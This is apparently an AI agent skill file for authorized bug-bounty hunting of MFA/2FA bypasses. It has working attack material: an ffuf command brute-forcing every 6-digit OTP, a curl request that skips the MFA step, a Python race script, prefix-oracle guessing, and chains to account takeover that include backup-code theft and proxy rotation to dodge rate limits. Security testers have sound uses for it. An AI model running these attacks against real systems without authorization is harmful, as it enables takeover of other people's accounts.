--- name: hunt-mfa-bypass description: Hunt MFA / 2FA bypass category: security risk: offensive source: https://github.com/elementalsouls/Claude-BugHunter source_repo: elementalsouls/Claude-BugHunter source_type: community date_added: '2026-09-20' license: MIT license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE compatibility: Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled. sources: hackerone_public, cve_database, nist_800_63b, public_research report_count: 5 --- > **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. ## Autonomous Testing Priority **Try workflow bypasses before brute force — they're faster and more likely to succeed.** **Pattern 1 — Skip the MFA step entirely (most automatable):** 1. Login with valid credentials → receive a "pre-MFA" session state 2. Without completing MFA, directly access a protected resource (`/dashboard`, `/api/me`, `/account/profile`) 3. If the response returns user data → MFA is enforced only in the UI, not server-side = Critical **Pattern 2 — OTP replay (reuse a consumed code):** 1. Complete a valid MFA flow to get a working OTP 2. Log out, log in again with the same credentials 3. Submit the same OTP again 4. If accepted → OTP is not invalidated after use **Pattern 3 — Submit obviously wrong OTP, observe response:** Try submitting `000000` or `123456`. If the response is 200 or returns a session token, OTP validation is broken or client-side only. **Pattern 4 — Partial / incremental validation (prefix oracle):** If a guessed full code is rejected, test whether the server validates the OTP **prefix-by-prefix** instead of all-or-nothing. Submit a short partial code and compare responses: 1. Submit a 1–3 digit value (e.g. `otp=1`, then `otp=12`, …) — for a POST verify endpoint the code goes in the **request body**, not the URL query string, or the server reads an empty value. 2. If a *correct* prefix gives a DIFFERENT response than a wrong one (a success/flag, a distinct message, or a different length/timing), the validator leaks correctness one chunk at a time. 3. Walk the code digit-by-digit: keep the prefix that "responds correct," append 0–9, repeat. This collapses 10^6 brute force to ~10×N guesses (≤60 for a 6-digit code) — very feasible in a bounded test. This is the go-to when there is no leaked code and no skip/replay path. Some apps award success on *any* correct prefix outright (so a single correct first digit can win — sweep `otp=0,1,…,9` before giving up). **CRITICAL — stay in ONE session:** re-authenticating (POST /…/login again) regenerates the OTP, throwing away your prefix progress. Do the entire sweep against a single established MFA session; never re-login between guesses. **On full brute force:** brute-forcing all 10^6 codes is infeasible in a bounded test — but the prefix oracle above (Pattern 4) usually makes it unnecessary. Only attempt full brute force with evidence of no rate limit AND a small key space. **Proof:** A session token or protected resource data in the response without completing MFA confirms the bypass. --- ## 19. MFA / 2FA BYPASS > Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session. ### Pattern 1: No Rate Limit on OTP ```bash # Test with ffuf — all 1M 6-digit codes ffuf -u "https://target.com/api/verify-otp" \ -X POST -H "Content-Type: application/json" \ -H "Cookie: session=YOUR_SESSION" \ -d '{"otp":"FUZZ"}' \ -w <(seq -w 000000 999999) \ -fc 400,429 -t 5 # -t 5 (slow down) — aggressive rates get 429 or ban ``` ### Pattern 2: OTP Not Invalidated After Use ``` 1. Login → receive OTP "123456" → enter it → success 2. Logout → login again with same credentials 3. Try OTP "123456" again 4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever) ``` ### Pattern 3: Response Manipulation ``` 1. Enter wrong OTP → capture response in Burp 2. Change {"success":false} → {"success":true} (or 401 → 200) 3. Forward → if app proceeds → client-side only MFA check ``` ### Pattern 4: Skip MFA Step (Workflow Bypass) ```bash # After entering password, app sets a "pre-mfa" cookie → redirects to /mfa # Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie # If app grants access without MFA = auth flow bypass = Critical curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard ``` ### Pattern 5: Race on MFA Verification ```python import asyncio, aiohttp async def verify(session, otp): async with session.post("https://target.com/api/mfa/verify", json={"otp": otp}) as r: return r.status, await r.text() async def race(): cookies = {"session": "YOUR_SESSION"} async with aiohttp.ClientSession(cookies=cookies) as s: # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU # window before the server marks it used. Two requests are NOT enough — # they almost always resolve sequentially as "already-used" (false negative). # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder). results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)]) # Race confirmed if >1 success (or 1 success among many "already-used"). for status, body in results: print(status, body) asyncio.run(race()) ``` ### Pattern 6: Backup Code Brute Force ``` Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large) BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably. ``` ### Pattern 7: "Remember This Device" Trust Escalation ``` 1. Complete MFA once on Device A (attacker's browser) 2. Capture the "remember device" cookie 3. Present that cookie from a new IP/browser 4. If MFA skipped = device trust not bound to IP/UA = ATO from any location ``` ### MFA Chain Escalation ``` Rate limit bypass + no lockout = ATO (Critical) Response manipulation = client-side only check = Critical Skip MFA step = auth flow bypass = Critical OTP reuse = persistent session hijack = High ``` --- ## Related Skills & Chains - **`hunt-ato`** — MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out. - **`hunt-race-condition`** — Pattern 5 (OTP race) lives in race-condition territory; load both skills together. Chain primitive: same 6-digit OTP submitted via 20 parallel HTTP/2 streams (single-packet Turbo Intruder attack) before the server marks it used → 1 success + 19 "already-used" → race window confirmed → attacker doesn't need to brute, just guesses once and parallelizes → ATO. - **`hunt-auth-bypass`** — MFA-step-skip is auth-flow bypass at the workflow layer. Chain primitive: pre-MFA cookie issued after password step + direct navigation to `/dashboard` skipping `/mfa` route + server only middleware-gates `/mfa` not `/dashboard` = full post-auth access from password-only state → MFA never enforced because the route gate was misplaced. - **`hunt-misc`** — Recovery-code dump via `/api/me` is a misc-class info disclosure that becomes Critical when chained. Chain primitive: `/api/me` returns full user object including `backup_codes` array (plaintext, never rotated) → attacker with any read-IDOR or XSS exfils backup codes → uses one backup code → MFA satisfied → ATO without OTP knowledge. - **`security-arsenal`** — Pull the OTP-brute-force payload section (000000-999999 wordlist generator, ffuf rate-limit-evasion patterns with `-t 5 -p 0.5-2`, distributed-IP rotation via proxychains) and the JWT-token-replay table when "MFA satisfied" claim lives in a JWT claim that can be forged. - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an MFA bypass that only works when the attacker already has the password. Standalone MFA bypass is High; chained-with-password-oracle is Critical; chained-with-cookie-theft-only is Critical. The chain question separates the two. ## When to Use - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement. - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope. ## Limitations - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command. - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed. - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab. ### Example ```bash # Read-only first step; confirm scope before anything active. cat scope.txt # target list from the authorized engagement brief ``` > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.